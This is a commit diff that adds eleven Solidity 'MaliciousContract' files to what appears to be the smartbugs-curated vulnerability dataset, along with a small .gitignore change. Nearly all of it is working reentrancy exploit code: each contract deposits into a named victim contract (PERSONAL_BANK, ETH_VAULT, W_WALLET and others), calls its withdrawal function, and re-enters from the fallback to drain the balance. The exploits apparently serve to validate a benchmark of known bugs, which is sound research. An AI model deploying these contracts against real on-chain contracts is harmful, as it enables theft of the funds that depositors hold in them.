6 sb curated reentrancy

.gitignore

@@ -379,4 +379,7 @@ node_modules
 
 # hardhat
 artifacts
-cache
+cache
+
+package-lock.json
+package.json

smartbugs-curated/0.4.x/contracts/reentrancy/0x01f8c4e3fa3edeb29e514cba738d87ce8c091d3f_attack.sol

@@ -0,0 +1,37 @@
+pragma solidity ^0.4.19;
+
+import "../dataset/reentrancy/0x01f8c4e3fa3edeb29e514cba738d87ce8c091d3f.sol";
+
+
+contract MaliciousContract {
+    PERSONAL_BANK personalBank;
+    bool attackInitiated;
+
+    constructor(address _victimAddress) public {
+        personalBank = PERSONAL_BANK(_victimAddress);
+    }
+
+    function attack(uint amount) public  {
+        require(!attackInitiated, "Attack already initiated");
+        require(amount >= 1 ether, "Must send at least 1 ether");
+
+        // Call the vulnerable function to start the reentrancy attack
+
+        personalBank.Collect(amount);
+
+        attackInitiated = true;
+    }
+
+    function deposit() public payable{
+        require(msg.value >= 1 ether, "Must send at least 1 ether");
+        personalBank.Deposit.value(msg.value)();
+    }
+
+
+    function() payable public {
+        // Re-enter the vulnerable function if there's still balance to collect
+        if (!attackInitiated && address(personalBank).balance >= 1 ether) {
+            personalBank.Collect(1 ether);
+        }
+    }
+}

smartbugs-curated/0.4.x/contracts/reentrancy/0x23a91059fdc9579a9fbd0edc5f2ea0bfdb70deb4_attack.sol

@@ -0,0 +1,29 @@
+pragma solidity ^0.4.19;
+
+import "../dataset/reentrancy/0x23a91059fdc9579a9fbd0edc5f2ea0bfdb70deb4.sol";
+
+contract MaliciousContract{
+    PrivateBank privateBank;
+
+
+    constructor(address _victimAddress) public{
+        privateBank= PrivateBank (_victimAddress);
+    }
+
+   function attack(uint amount) public {
+        require(amount >= 1 ether, "Must attempt and attack with at least 1 ether");
+        privateBank.CashOut(amount);
+    }
+
+    function deposit()  public payable{
+        require(msg.value >= 1 ether, "Must add at least 1 ether");
+        privateBank.Deposit.value(msg.value)();        
+    }
+
+    function() payable public {
+        // Re-enter the vulnerable function if there's still balance to collect
+        if ( address(privateBank).balance >= 1 ether) {
+            privateBank.CashOut(1 ether);
+        }
+    }
+}

smartbugs-curated/0.4.x/contracts/reentrancy/0x4320e6f8c05b27ab4707cd1f6d5ce6f3e4b3a5a1_attack.sol

@@ -0,0 +1,29 @@
+pragma solidity ^0.4.19;
+import "../dataset/reentrancy/0x4320e6f8c05b27ab4707cd1f6d5ce6f3e4b3a5a1.sol";
+
+contract MaliciousContract{
+    ACCURAL_DEPOSIT accural_deposit;
+
+
+    constructor(address _victimAddress) public{
+        accural_deposit= ACCURAL_DEPOSIT (_victimAddress);
+    }
+
+    function attack(uint amount)  public {
+        require(amount >= 1 ether , "Must attempt an attack for at least 1 ether");
+        accural_deposit.Collect(amount);
+    }
+
+    function deposit()  public payable{
+        require(msg.value >= 1 ether, "Must add at least 1 ether");
+        accural_deposit.Deposit.value(msg.value)();    
+    }
+
+
+    function() payable public {
+        // Re-enter the vulnerable function if there's still balance to collect   
+        if ( address(accural_deposit).balance >= 1 ether) {
+            accural_deposit.Collect(1 ether);
+        }
+    }
+}

smartbugs-curated/0.4.x/contracts/reentrancy/0x4e73b32ed6c35f570686b89848e5f39f20ecc106_attack.sol

@@ -0,0 +1,37 @@
+pragma solidity ^0.4.19;
+
+import "../dataset/reentrancy/0x4e73b32ed6c35f570686b89848e5f39f20ecc106.sol";
+
+
+contract MaliciousContract {
+    PRIVATE_ETH_CELL privateETHCell;
+    bool attackInitiated;
+
+    constructor(address _victimAddress) public {
+        privateETHCell = PRIVATE_ETH_CELL(_victimAddress);
+    }
+
+    function attack(uint amount) public  {
+        require(!attackInitiated, "Attack already initiated");
+
+        // Call the vulnerable function to start the reentrancy attack
+        require(amount >= 1 ether, "Must send at least 1 ether");
+        privateETHCell.Collect(amount);
+
+        attackInitiated = true;
+    }
+
+    function deposit() public payable{
+        require(msg.value >= 1 ether, "Must send at least 1 ether");
+        privateETHCell.Deposit.value(msg.value)();
+    }
+
+
+    function() payable public {
+        // Re-enter the vulnerable function if there's still balance to collect
+        if (!attackInitiated && address(privateETHCell).balance >= 1 ether) {
+            privateETHCell.Collect(1 ether);
+        }
+    }
+}
+

smartbugs-curated/0.4.x/contracts/reentrancy/0x561eac93c92360949ab1f1403323e6db345cbf31_attack.sol

@@ -0,0 +1,31 @@
+
+pragma solidity ^0.4.19;
+
+import "../dataset/reentrancy/0x561eac93c92360949ab1f1403323e6db345cbf31.sol";
+
+
+contract MaliciousContract{
+    BANK_SAFE bank_SAFE;
+
+
+    constructor(address _victimAddress) public{
+        bank_SAFE= BANK_SAFE (_victimAddress);
+    }
+
+    function attack(uint amount) public {
+        require(amount >= 1 ether, "Must attempt and attack with at least 1 ether");
+       bank_SAFE.Collect(amount);
+    }
+
+    function deposit()  public payable{
+        require(msg.value >= 1 ether, "Must add at least 1 ether");
+        bank_SAFE.Deposit.value(msg.value)();    
+    }
+
+    function() payable public {
+        // Re-enter the vulnerable function if there's still balance to collect
+        if ( address(bank_SAFE).balance >= 1 ether) {
+            bank_SAFE.Collect(1 ether);
+        }
+    }
+}

smartbugs-curated/0.4.x/contracts/reentrancy/0x7541b76cb60f4c60af330c208b0623b7f54bf615_attack.sol

@@ -0,0 +1,37 @@
+pragma solidity ^0.4.25;
+
+import "../dataset/reentrancy/0x7541b76cb60f4c60af330c208b0623b7f54bf615.sol";
+
+
+
+
+contract MaliciousContract{
+    U_BANK u_bank;
+
+
+    constructor(address _victimAddress) public{
+        u_bank= U_BANK (_victimAddress);
+    }
+
+    function attack(uint amount) public {
+        require(amount >= 1 ether, "Must attempt and attack with at least 1 ether");
+        u_bank.Collect(amount);
+    }
+
+    function deposit()  public payable{
+        require(msg.value >= 1 ether, "Must add at least 1 ether");
+        u_bank.Put.value(msg.value)(1);        
+    }
+
+    function() payable public {
+        // Re-enter the vulnerable function if there's still balance to collect
+        if ( address(u_bank).balance >= 2 ether) {
+            u_bank.Collect(2 ether);
+        }
+    }
+
+
+
+
+}
+

smartbugs-curated/0.4.x/contracts/reentrancy/0x7a8721a9d64c74da899424c1b52acbf58ddc9782_attack.sol

@@ -0,0 +1,29 @@
+pragma solidity ^0.4.19;
+
+import "../dataset/reentrancy/0x7a8721a9d64c74da899424c1b52acbf58ddc9782.sol";
+
+contract MaliciousContract {
+    PrivateDeposit privateDeposit;
+
+    constructor(address _victimAddress) public {
+        privateDeposit = PrivateDeposit(_victimAddress);
+    }
+
+    function attack(uint amount) public  {
+        privateDeposit.CashOut(amount);
+
+    }
+    function deposit() public payable{
+        require(msg.value >= 1 ether, "Must send at least 1 ether");
+        privateDeposit.Deposit.value(msg.value)();
+    }
+
+    function() payable public {
+        // Re-enter the vulnerable function if there's still balance to collect
+        if ( address(privateDeposit).balance >= 1 ether) {
+            privateDeposit.CashOut(1 ether);
+        }
+    }
+
+
+}

smartbugs-curated/0.4.x/contracts/reentrancy/0x7b368c4e805c3870b6c49a3f1f49f69af8662cf3_attack.sol

@@ -0,0 +1,33 @@
+pragma solidity ^0.4.25;
+
+import "../dataset/reentrancy/0x7b368c4e805c3870b6c49a3f1f49f69af8662cf3.sol";
+
+contract MaliciousContract{
+    W_WALLET w_WALLET;
+
+
+    constructor(address _victimAddress) public{
+        w_WALLET= W_WALLET (_victimAddress);
+    }
+
+    function attack(uint amount) public {
+        require(amount >= 1 ether, "Must attempt and attack with at least 1 ether");
+        w_WALLET.Collect(amount);
+    }
+
+    function deposit()  public payable{
+        require(msg.value >= 1 ether, "Must add at least 1 ether");
+        w_WALLET.Put.value(msg.value)(1);        
+    }
+
+    function() payable public {
+        // Re-enter the vulnerable function if there's still balance to collect
+        if ( address(w_WALLET).balance >= 1 ether) {
+            w_WALLET.Collect(1 ether);
+        }
+    }
+
+
+
+
+}

smartbugs-curated/0.4.x/contracts/reentrancy/0x8c7777c45481dba411450c228cb692ac3d550344_attack.sol

@@ -0,0 +1,29 @@
+pragma solidity ^0.4.19;
+
+import "../dataset/reentrancy/0x8c7777c45481dba411450c228cb692ac3d550344.sol";
+
+contract MaliciousContract{
+    ETH_VAULT eth_VAULT;
+
+
+    constructor(address _victimAddress) public{
+        eth_VAULT= ETH_VAULT (_victimAddress);
+    }
+
+   function attack(uint amount) public {
+        require(amount >= 1 ether, "Must attempt and attack with at least 1 ether");
+         eth_VAULT.CashOut(amount);
+    }
+
+    function deposit()  public payable{
+        require(msg.value >= 1 ether, "Must add at least 1 ether");
+        eth_VAULT.Deposit.value(msg.value)();        
+    }
+
+    function() payable public {
+        // Re-enter the vulnerable function if there's still balance to collect
+        if ( address(eth_VAULT).balance >= 1 ether) {
+            eth_VAULT.CashOut(1 ether);
+        }
+    }
+}

smartbugs-curated/0.4.x/contracts/reentrancy/0x93c32845fae42c83a70e5f06214c8433665c2ab5_attack.sol

@@ -0,0 +1,30 @@
+pragma solidity ^0.4.19;
+
+import "../dataset/reentrancy/0x93c32845fae42c83a70e5f06214c8433665c2ab5.sol";
+
+
+contract MaliciousContract{
+    X_WALLET x_WALLET;
+
+
+    constructor(address _victimAddress) public{
+        x_WALLET= X_WALLET (_victimAddress);
+    }
+
+  function attack(uint amount) public {
+        require(amount >= 1 ether, "Must attempt and attack with at least 1 ether");
+        x_WALLET.Collect(amount);
+    }
+
+    function deposit()  public payable{
+        require(msg.value >= 1 ether, "Must add at least 1 ether");
+        x_WALLET.Put.value(msg.value)(1);        
+    }
+
+    function() payable public {
+        // Re-enter the vulnerable function if there's still balance to collect
+        if ( address(x_WALLET).balance >= 1 ether) {
+            x_WALLET.Collect(1 ether);
+        }
+    }
+}

smartbugs-curated/0.4.x/contracts/reentrancy/0x941d225236464a25eb18076df7da6a91d0f95e9e_attack.sol

@@ -0,0 +1,30 @@
+pragma solidity ^0.4.19;
+import "../dataset/reentrancy/0x941d225236464a25eb18076df7da6a91d0f95e9e.sol";
+
+
+
+contract MaliciousContract{
+    ETH_FUND eth_FUND;
+
+
+    constructor(address _victimAddress) public{
+        eth_FUND= ETH_FUND (_victimAddress);
+    }
+
+    function attack(uint amount) public {
+        require(amount >= 1 ether, "Must send at least 1 ether");
+        eth_FUND.CashOut(amount);
+    }
+
+    function deposit()  public payable{
+        require(msg.value >= 1 ether, "Must add at least 1 ether");
+        eth_FUND.Deposit.value(msg.value)();    
+    }
+
+    function() payable public {
+        // Re-enter the vulnerable function if there's still balance to collect
+        if ( address(eth_FUND).balance >= 1 ether) {
+            eth_FUND.CashOut(1 ether);
+        }
+    }
+}